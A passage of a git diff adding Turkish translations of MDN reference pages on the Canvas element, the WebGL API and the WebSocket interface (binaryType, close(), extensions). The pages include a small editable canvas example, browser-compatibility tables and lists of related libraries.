href="/en-US/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5</a>) ile birlikte <code><canvas></code> desteği kazanmıştır. Öge, asıl olarak Apple tarafından OSX gösterge yüzeyinde ve Safari'de kullanılmıştır. Internet Explorer ise 9. sürümden sonra <code><canvas></code> desteklemeye başlamıştır; önceki sürümleri için Google'ın geliştirdiği <a href="https://github.com/arv/explorercanvas">Explorer Canvas</a> tasarısı <code><canvas></code> 'ın etkin kullanımına olanak tanıyordu. Google Chrome ve Opera 9'un da <code><canvas></code> desteği vardır.</p> + +<p><a href="/en-US/docs/Web/WebGL">WebGL</a> de donanım tarafından hızlandırılmış 3 Boyutlu <a href="/tr/docs/Web/Guide/Çizgeler">Web Çizgeleri </a>çizmek için <code><canvas></code> ögesini kullanır. </p> + +<h2 id="Örnek">Örnek</h2> + +<p> {{domxref("CanvasRenderingContext2D.fillRect()")}} yöntemini kullanan ufak bir kod parçacığı:</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><canvas id="tuval"></canvas> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var tuval = document.getElementById('tuval'); +var bağlam = tuval.getContext('2d'); + +bağlam.fillStyle = 'green'; +bağlam.fillRect(10, 10, 100, 100); +</pre> + +<p>Aşağıdaki kodla oynayın ve tuvaldeki değişimleri canlı olarak görün.</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><canvas id="tuval" width="400" height="200" class="playable-canvas"></canvas> +<div class="playable-buttons"> + <input id="düzenle" type="button" value="Düzenle" /> + <input id="sıfırla" type="button" value="Sıfırla" /> +</div> +<textarea id="code" class="playable-code"> +bağlam.fillStyle = 'green'; +bağlam.fillRect(10, 10, 100, 100);</textarea> +</pre> + +<pre class="brush: js">var tuval = document.getElementById('tuval'); +var bağlam = tuval.getContext("2d"); +var kodAlanı = document.getElementById('code'); +var sıfırla = document.getElementById('sıfırla'); +var düzenle = document.getElementById('düzenle'); +var kod = kodAlanı.value; + +function TuvaleÇiz() { + bağlam.clearRect(0, 0, tuval.width, tuval.height); + eval(kodAlanı.value); +} + +sıfırla.addEventListener('click', function() { + kodAlanı.value = kod; + TuvaleÇiz(); +}); + +düzenle.addEventListener('click', function() { + kodAlanı.focus(); +}) + +kodAlanı.addEventListener('input', TuvaleÇiz); +window.addEventListener('load', TuvaleÇiz); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p> + +<h2 id="Atıflar">Atıflar</h2> + +<div class="index"> +<ul> + <li>{{domxref("HTMLCanvasElement")}}</li> + <li>{{domxref("CanvasRenderingContext2D")}}</li> + <li>{{domxref("CanvasGradient")}}</li> + <li>{{domxref("CanvasImageSource")}}</li> + <li>{{domxref("CanvasPattern")}}</li> + <li>{{domxref("ImageBitmap")}}</li> + <li>{{domxref("ImageData")}}</li> + <li>{{domxref("RenderingContext")}}</li> + <li>{{domxref("TextMetrics")}}</li> + <li>{{domxref("OffscreenCanvas")}}{{experimental_inline}}</li> + <li>{{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}}</li> +</ul> +</div> + +<p><code>WebGLRenderingContext</code> ile ilgili atıflar <a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a> altında verilmiştir.</p> + +<p>{{domxref("CanvasCaptureMediaStream")}} de ilgilidir.</p> + +<h2 id="Kılavuz_ve_yönergeler">Kılavuz ve yönergeler</h2> + +<dl> + <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas kılavuzu</a></dt> + <dd><code><canvas></code> ın hem temel hem de gelişmiş özelliklerini anlatan kapsayıcı bir kılavuz.</dd> + <dt><a href="/en-US/Add-ons/Code_snippets/Canvas">Kod Parçacıkları: Canvas</a></dt> + <dd><code><canvas></code> ile ilgili yazılmış kod parçacıkları...</dd> + <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">Gösteri: Yalın ışıklandırma</a></dt> + <dd>Tuval kullanarak geliştirilmiş 3B ortamda görüş alanına göre ışıklandırma...</dd> + <dt><a href="/en-US/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Tuval üzerine DOM ögeleri çizmek</a></dt> + <dd>Belgede bulunan DOM ögeleri tuval üzerine çizimi.</dd> + <dt><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">canvas kullanarak görüntü işleme</a></dt> + <dd>{{HTMLElement("video")}} ve {{HTMLElement("canvas")}} ögelerini kullanarak izletideki görüntüyü canlı olarak işleme/değiştirme</dd> +</dl> + +<h2 id="Kaynaklar">Kaynaklar</h2> + +<h3 id="Kapsamlı">Kapsamlı</h3> + +<ul> + <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Tuvaline Derinlemesine Dalmak</a></li> + <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas(Tuval) El Kitabı </a></li> +</ul> + +<h3 id="Kütüphaneler">Kütüphaneler</h3> + +<ul> + <li><a href="http://fabricjs.com">Fabric.js</a> SVG işleme yeteneklerine iye, açık kaynaklı bir kütüphane.</li> + <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> masaüstü ve taşınabilir uygulamalardaki etkileşime odaklanmış açık kaynaklı tuval kütüphanesi.</li> + <li><a href="http://paperjs.org/">Paper.js</a> vektör çizgeleri için HTML5 tuvalin üzerinde çalışan betikleme çatısı.</li> + <li><a href="http://origamijs.com/docs/">Origami.js</a> hafif açık kaynaklı tuval kütüphanesi.</li> + <li><a href="http://libcanvas.github.com/">libCanvas</a> güçlü ve hafif, açık kaynaklı tuval çatısı.</li> + <li><a href="https://p5js.org/">p5.js </a>sanatçılar, eğitimciler ve yeni başlayanlar için çizim işlevselliği sunan tam donatılmış tuval kütüphanesi.</li> + <li><a href="http://processingjs.org">Processing.js</a> Processing görselleştime dilinin JS kütüphanesi.</li> + <li><a href="https://playcanvas.com/">PlayCanvas</a> açık kaynaklı oyun motoru.</li> + <li><a href="http://www.pixijs.com/">Pixi.js</a> açık kaynaklı oyun motoru.</li> + <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> çizge kütüphanesi.</li> + <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> tuval için canlandırma arabirimi.</li> + <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> veri görselleştirme, yaratıcı kodlama ve oyun geliştirme için WebGL çatısı.</li> + <li><a href="http://thejit.org/">JavaScript InfoVis Araçkiti</a> Web için etkileşimli 2 boyutlu veri görselleştirmeleri yaratır.</li> + <li><a href="http://www.createjs.com/easeljs">EaselJS</a> oyun ve sanat için, tuval kullanımını kolaylaştıran açık kaynaklı/özgür kütüphanedir</li> + <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a> 2 boyutlu çizgeler oluşturmak, değiştirmek için tasarlanmış, açık kaynaklı bir başka kütüphanedir.</li> + <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a> açık kaynaklı, tuval üzerinde ısı haritaları oluşturmaya olanak tanıyan bir kütüphane.</li> + <li><a href="http://zimjs.com">ZIM</a> çatısı, tuval üzerinde yaratıcı kodlama için kolaylıklar, bileşenler ve denetim sunar. Erişilebilirlik ve yüzlerce renkli kılavuz da bunların içindedir.</li> +</ul> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Tanım</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Ayrıca_bkz.">Ayrıca bkz.</h2> + +<ul> + <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li> +</ul> diff --git a/files/tr/web/api/webgl_api/index.html b/files/tr/web/api/webgl_api/index.html new file mode 100644 index 0000000000..e72bde0ec7 --- /dev/null +++ b/files/tr/web/api/webgl_api/index.html @@ -0,0 +1,294 @@ +--- +title: 'WebGL_API: Web için 2D ve 3D grafikler' +slug: Web/API/WebGL_API +translation_of: Web/API/WebGL_API +--- +<div>{{WebGLSidebar}}</div> + +<div class="summary"> +<p>WebGL (Web Grafik Kütüphanesi) herhangi bir plug-in kullanmadan, uyumlu bütün tarayıcılarda 3D ve 2D grafikler oluşturabilen bir JavaScript API'sidir. WebGL bunu, HTML5 {{HTMLElement ("canvas")}} öğelerinde kullanılabilen OpenGL ES 2.0'a yakın bir API'yi sunarak yapar.</p> +</div> + +<p>WebGL desteği şuan için şu tarayıcılarda mevcuttur: <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+, <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+, and <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> build 10240+; ancak, kullanıcının kullandığı cihazın donanımı da bu özellikleri desteklemesi gerekmektedir.</p> + +<p>{{HTMLElement("canvas")}} öğesi ayrıca <a href="/en-US/docs/Web/API/Canvas_API">Canvas 2D</a> tarafından web sayfalarında 2D grafikler oluşturmak için de kullanılır.</p> + +<h2 id="Referans">Referans</h2> + +<h3 id="Standart_arayüzler">Standart arayüzler</h3> + +<div class="index"> +<ul> + <li>{{domxref("WebGLRenderingContext")}}</li> + <li>{{domxref("WebGL2RenderingContext")}} {{experimental_inline}}</li> + <li>{{domxref("WebGLActiveInfo")}}</li> + <li>{{domxref("WebGLBuffer")}}</li> + <li>{{domxref("WebGLContextEvent")}}</li> + <li>{{domxref("WebGLFramebuffer")}}</li> + <li>{{domxref("WebGLProgram")}}</li> + <li>{{domxref("WebGLQuery")}} {{experimental_inline}}</li> + <li>{{domxref("WebGLRenderbuffer")}}</li> + <li>{{domxref("WebGLSampler")}} {{experimental_inline}}</li> + <li>{{domxref("WebGLShader")}}</li> + <li>{{domxref("WebGLShaderPrecisionFormat")}}</li> + <li>{{domxref("WebGLSync")}} {{experimental_inline}}</li> + <li>{{domxref("WebGLTexture")}}</li> + <li>{{domxref("WebGLTransformFeedback")}} {{experimental_inline}}</li> + <li>{{domxref("WebGLUniformLocation")}}</li> + <li>{{domxref("WebGLVertexArrayObject")}} {{experimental_inline}}</li> +</ul> +</div> + +<h3 id="Uzantılar">Uzantılar</h3> + +<div class="index"> +<ul> + <li>{{domxref("ANGLE_instanced_arrays")}}</li> + <li>{{domxref("EXT_blend_minmax")}}</li> + <li>{{domxref("EXT_color_buffer_float")}}</li> + <li>{{domxref("EXT_color_buffer_half_float")}}</li> + <li>{{domxref("EXT_disjoint_timer_query")}}</li> + <li>{{domxref("EXT_frag_depth")}}</li> + <li>{{domxref("EXT_sRGB")}}</li> + <li>{{domxref("EXT_shader_texture_lod")}}</li> + <li>{{domxref("EXT_texture_filter_anisotropic")}}</li> + <li>{{domxref("OES_element_index_uint")}}</li> + <li>{{domxref("OES_standard_derivatives")}}</li> + <li>{{domxref("OES_texture_float")}}</li> + <li>{{domxref("OES_texture_float_linear")}}</li> + <li>{{domxref("OES_texture_half_float")}}</li> + <li>{{domxref("OES_texture_half_float_linear")}}</li> + <li>{{domxref("OES_vertex_array_object")}}</li> + <li>{{domxref("WEBGL_color_buffer_float")}}</li> + <li>{{domxref("WEBGL_compressed_texture_astc")}}</li> + <li>{{domxref("WEBGL_compressed_texture_atc")}}</li> + <li>{{domxref("WEBGL_compressed_texture_etc")}}</li> + <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li> + <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li> + <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li> + <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li> + <li>{{domxref("WEBGL_debug_renderer_info")}}</li> + <li>{{domxref("WEBGL_debug_shaders")}}</li> + <li>{{domxref("WEBGL_depth_texture")}}</li> + <li>{{domxref("WEBGL_draw_buffers")}}</li> + <li>{{domxref("WEBGL_lose_context")}}</li> +</ul> +</div> + +<h3 id="Events">Events</h3> + +<ul> + <li>{{Event("webglcontextlost")}}</li> + <li>{{Event("webglcontextrestored")}}</li> + <li>{{Event("webglcontextcreationerror")}}</li> +</ul> + +<h3 id="Sabitler_ve_tipleri">Sabitler ve tipleri</h3> + +<ul> + <li><a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a></li> + <li><a href="/en-US/docs/Web/API/WebGL_API/Types">WebGL types</a></li> +</ul> + +<h3 id="WebGL_2">WebGL 2</h3> + +<p>WebGL 2 is a major update to WebGL which is provided through the {{domxref("WebGL2RenderingContext")}} interface. It is based on OpenGL ES 3.0 and new features include:</p> + +<ul> + <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext/texImage3D">3D textures</a>,</li> + <li><a href="/en-US/docs/Web/API/WebGLSampler">Sampler objects</a>,</li> + <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">Uniform Buffer objects</a>,</li> + <li><a href="/en-US/docs/Web/API/WebGLSync">Sync objects</a>,</li> + <li><a href="/en-US/docs/Web/API/WebGLQuery">Query objects</a>,</li> + <li><a href="/en-US/docs/Web/API/WebGLTransformFeedback">Transform Feedback objects</a>,</li> + <li>Promoted extensions that are now core to WebGL 2: <a href="/en-US/docs/Web/API/WebGLVertexArrayObject">Vertex Array objects</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instancing</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawBuffers">multiple render targets</a>, <a href="/en-US/docs/Web/API/EXT_frag_depth">fragment depth</a>.</li> +</ul> + +<p>See also the blog post <a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> and <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> for a few demos.</p> + +<h2 id="Guides_and_tutorials">Guides and tutorials</h2> + +<p>Below, you'll find an assortment of guides to help you learn WebGL concepts and tutorials that offer step-by-step lessons and examples.</p> + +<h3 id="Guides">Guides</h3> + +<dl> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Data">Data in WebGL</a></dt> + <dd>A guide to variables, buffers, and other types of data used when writing WebGL code.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_best_practices">WebGL best practices</a></dt> + <dd>Tips and suggestions to help you improve the quality, performance, and reliability of your WebGL content.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Using extensions</a></dt> + <dd>A guide to using WebGL extensions.</dd> +</dl> + +<h3 id="Tutorials">Tutorials</h3> + +<dl> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL tutorial</a></dt> + <dd>A beginner's guide to WebGL core concepts. A good place to start if you don't have previous WebGL experience.</dd> +</dl> + +<h3 id="Examples">Examples</h3> + +<dl> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Basic_2D_animation_example">A basic 2D WebGL animation example</a></dt> + <dd>This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.</dd> +</dl> + +<h3 id="Advanced_tutorials">Advanced tutorials</h3> + +<dl> + <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_model_view_projection">WebGL model view projection</a></dt> + <dd>A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt> + <dd>A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.</dd> +</dl> + +<h2 id="Resources">Resources</h2> + +<ul> + <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.</li> + <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> The main web site for WebGL at the Khronos Group.</li> + <li><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a> A site with tutorials on how to use WebGL.</li> + <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> A basic tutorial with fundamentals of WebGL.</li> + <li><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a> An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</li> + <li><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a> An HTML/JavaScript editor with tutorials to learn basics of webgl programming.</li> + <li><a href="http://webglstats.com/">WebGL Stats</a> A site with statistics about WebGL capabilities in browsers on different platforms.</li> +</ul> + +<h3 id="Libraries">Libraries</h3> + +<ul> + <li><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> JavaScript Matrix and Vector library for High Performance WebGL apps</li> + <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> An open source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('WebGL')}}</td> + <td>{{Spec2('WebGL')}}</td> + <td>Initial definition. Based on OpenGL ES 2.0</td> + </tr> + <tr> + <td>{{SpecName('WebGL2')}}</td> + <td>{{Spec2('WebGL2')}}</td> + <td>Builds on top of WebGL 1. Based on OpenGL ES 3.0.</td> + </tr> + <tr> + <td>{{SpecName('OpenGL ES 2.0')}}</td> + <td>{{Spec2('OpenGL ES 2.0')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('OpenGL ES 3.0')}}</td> + <td>{{Spec2('OpenGL ES 3.0')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>9</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>11</td> + <td>12</td> + <td>5.1</td> + </tr> + <tr> + <td>WebGL 2</td> + <td>56</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop("51")}}</td> + <td>{{CompatNo}}</td> + <td>43</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>25</td> + <td>{{CompatVersionUnknown}}</td> + <td>4</td> + <td>{{CompatNo}}</td> + <td>12</td> + <td>8.1</td> + </tr> + <tr> + <td>WebGL 2</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h3 id="Compatibility_notes">Compatibility notes</h3> + +<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL 2</a> is fully backwards-compatible and will have the context name <code>webgl2</code>.</p> + +<h3 id="Gecko_notes">Gecko notes</h3> + +<h4 id="WebGL_debugging_and_testing">WebGL debugging and testing</h4> + +<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p> + +<dl> + <dt><code>webgl.min_capability_mode</code></dt> + <dd>A Boolean property that, when <code>true</code>, enables a minimum capability mode. When in this mode, WebGL is configured to only support the bare minimum feature set and capabilities required by the WebGL specification. This lets you ensure that your WebGL code will work on any device or browser, regardless of their capabilities. This is <code>false</code> by default.</dd> + <dt><code>webgl.disable_extensions</code></dt> + <dd>A Boolean property that, when <code>true</code>, disables all WebGL extensions. This is <code>false</code> by default.</dd> +</dl> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility">Compatibility info about WebGL extensions</a></li> +</ul> diff --git a/files/tr/web/api/websocket/binarytype/index.html b/files/tr/web/api/websocket/binarytype/index.html new file mode 100644 index 0000000000..cb354a0dfb --- /dev/null +++ b/files/tr/web/api/websocket/binarytype/index.html @@ -0,0 +1,55 @@ +--- +title: WebSocket.binaryType +slug: Web/API/WebSocket/binaryType +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/binaryType +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><strong><code>WebSocket.binaryType</code></strong> özelliği, bağlantıda iletilen verinin ikilik veri tipini verir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox"><em>var binaryType</em> = aWebSocket.binaryType;</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir {{DOMXref("DOMString")}}:</p> + +<dl> + <dt><code>"blob"</code></dt> + <dd>Eğer {{domxref("Blob")}} objeleri kullanıldıysa.</dd> + <dt><code>"arraybuffer"</code></dt> + <dd>Eğer {{jsxref("ArrayBuffer")}} objeleri kullanıldıysa. + <p> </p> + </dd> +</dl> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.binaryType")}}</p> diff --git a/files/tr/web/api/websocket/close/index.html b/files/tr/web/api/websocket/close/index.html new file mode 100644 index 0000000000..44d935c025 --- /dev/null +++ b/files/tr/web/api/websocket/close/index.html @@ -0,0 +1,66 @@ +--- +title: WebSocket.close() +slug: Web/API/WebSocket/close +tags: + - API + - Web API + - WebSocket + - Yöntem +translation_of: Web/API/WebSocket/close +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p><strong><code>WebSocket.close()</code></strong> yöntemi, eğer varsa, {{domxref("WebSocket")}} bağlantısını kapatır. Eğer bağlantı zaten <code>CLOSED</code> ise, hiç bir şey yapmaz.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox">WebSocket.close();</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>code</code> {{optional_inline}}</dt> + <dd>Bir bağlantının neden kapandığını açıklayan durum kodunu belirten bir sayısal değerdir. Eğer parametre belirtilmediyse, varsayılan değer olan <code>1005</code> kullanılır. Ayrıca {{domxref("CloseEvent")}} için izin verilen <a href="/tr/docs/Web/API/CloseEvent#Durum_kodları">durum kodu listesine</a> bakınız.</dd> +</dl> + +<dl> + <dt><code>reason</code> {{optional_inline}}</dt> + <dd>Neden bağlantının kapandığını belirten okunabilir bir dizidir. Bu dizi 123 byte boyutunda UTF-8 yazısından daha uzun olmamalıdır. <strong>(karakterler değil)</strong></dd> +</dl> + +<h3 id="Olağandışı_durumlar">Olağandışı durumlar</h3> + +<dl> + <dt><code>INVALID_ACCESS_ERR</code></dt> + <dd><code>code</code> parametresine geçersiz bir durum kodu girildi.</dd> + <dt><code>SYNTAX_ERR</code></dt> + <dd><code>reason</code> dizisi çok uzun ya da eşleştirilmemiş naipler içeriyor.</dd> +</dl> + +<div class="note"> +<p><strong>Not:</strong> Gecko'da, bu yöntem 8.0'dan önce hiç bir parametreyi desteklemiyor. {{geckoRelease("8.0")}}.</p> +</div> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Belirtim</th> + <th>Durum</th> + <th>Yorum</th> + </tr> + <tr> + <td><a class="external external-icon" href="https://html.spec.whatwg.org/multipage/web-sockets.html#dom-websocket-close" hreflang="en" lang="en">HTML Living Standard<br> + <small lang="en-US">The definition of 'WebSocket.close()' in that specification.</small></a></td> + <td><span class="spec-Living">Living Standard</span></td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.close")}}</p> diff --git a/files/tr/web/api/websocket/extensions/index.html b/files/tr/web/api/websocket/extensions/index.html new file mode 100644 index 0000000000..55b7cbb914 --- /dev/null +++ b/files/tr/web/api/websocket/extensions/index.html @@ -0,0 +1,46 @@ +--- +title: WebSocket.extensions +slug: Web/API/WebSocket/extensions +tags: + - API + - Web API + - WebSocket + - Özellik +translation_of: Web/API/WebSocket/extensions +--- +<p>{{APIRef("Web Sockets API")}}</p> + +<p>Salt-okunur <strong><code>WebSocket.extensions</code></strong> özelliği, sunucunun seçtiği uzantıları verir. Şu anlık boş bir dizi ya da bağlantı tarafından uzlaşılan uzantıların listesidir.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox"><em>var extensions</em> = aWebSocket.extensions;</pre> + +<h2 id="Değer">Değer</h2> + +<p>Bir {{domxref("DOMString")}}.</p> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-websocket-extensions', 'WebSocket: extensions')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>İlk tanım</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> + + + +<p>{{Compat("api.WebSocket.extensions")}}</p> diff --git a/files/tr/web/api/websocket/index.html b/files/tr/web/api/websocket/index.html new file mode 100644 index 0000000000..ce8a030def --- /dev/null +++ b/files/tr/web/api/websocket/index.html @@ -0,0 +1,138 @@ +--- +title: WebSocket +slug: Web/API/WebSocket +tags: + - API + - WebSocket + - WebSockets +translation_of: Web/API/WebSocket +--- +<div>{{APIRef("Web Sockets API")}}</div> + +<p><code>WebSocket</code>, bir <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> sunucusuyla bağlantı kurmak ve bağlantıyı yönetmek için bir uygulama programlama arayüzü (API) sunar.</p> + +<p><code>WebSocket</code>'i kurmak için <code><a href="/en-US/docs/Web/API/WebSocket/WebSocket">WebSocket()</a></code> yapısını kullanın.</p> + +<h2 id="Yapılar">Yapılar</h2> + +<dl> + <dt>{{domxref("WebSocket.WebSocket", "WebSocket(url[, protocols])")}}</dt> + <dd>Yeni oluşturulmuş bir <code>WebSocket</code> objesi verir.</dd> +</dl> + +<h2 id="Sabitler">Sabitler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Sabit</td> + <td class="header">Değer</td> + </tr> + <tr> + <td><code>WebSocket.CONNECTING</code></td> + <td><code>0</code></td> + </tr> + <tr> + <td><code>WebSocket.OPEN</code></td> + <td><code>1</code></td> + </tr> + <tr> + <td><code>WebSocket.CLOSING</code></td> + <td><code>2</code></td> + </tr> + <tr> + <td><code>WebSocket.CLOSED</code></td> + <td><code>3</code></td> + </tr> + </tbody> +</table> + +<h2 id="Özellikler">Özellikler</h2> + +<dl> + <dt>{{domxref("WebSocket.binaryType")}}</dt> + <dd>Bağlantıda kurulan ikilik veri tipi.</dd> + <dt>{{domxref("WebSocket.bufferedAmount")}} {{readonlyinline}}</dt> + <dd>Kuyruktaki değerlerin byte sayıları.</dd> + <dt>{{domxref("WebSocket.extensions")}} {{readonlyinline}}</dt> + <dd>Sunucu tarafından seçilmiş uzantılar.</dd> + <dt>{{domxref("WebSocket.onclose")}}</dt> + <dd>Bağlantı kapandığında çağırılan olay dinleyicisi.</dd> + <dt>{{domxref("WebSocket.onerror")}}</dt> + <dd>Hata oluştuğunda çağırılan olay dinleyicisi.</dd> + <dt>{{domxref("WebSocket.onmessage")}}</dt> + <dd>Sunucudan mesaj alındığında çağırılan olay dinleyicisi.</dd> + <dt>{{domxref("WebSocket.onopen")}}</dt> + <dd>Bağlantı kurulduğunda çağırılan olay dinleyicisi.</dd> + <dt>{{domxref("WebSocket.protocol")}} {{readonlyinline}}</dt> + <dd>Sunucu tarafından seçilmiş alt-protokol.</dd> + 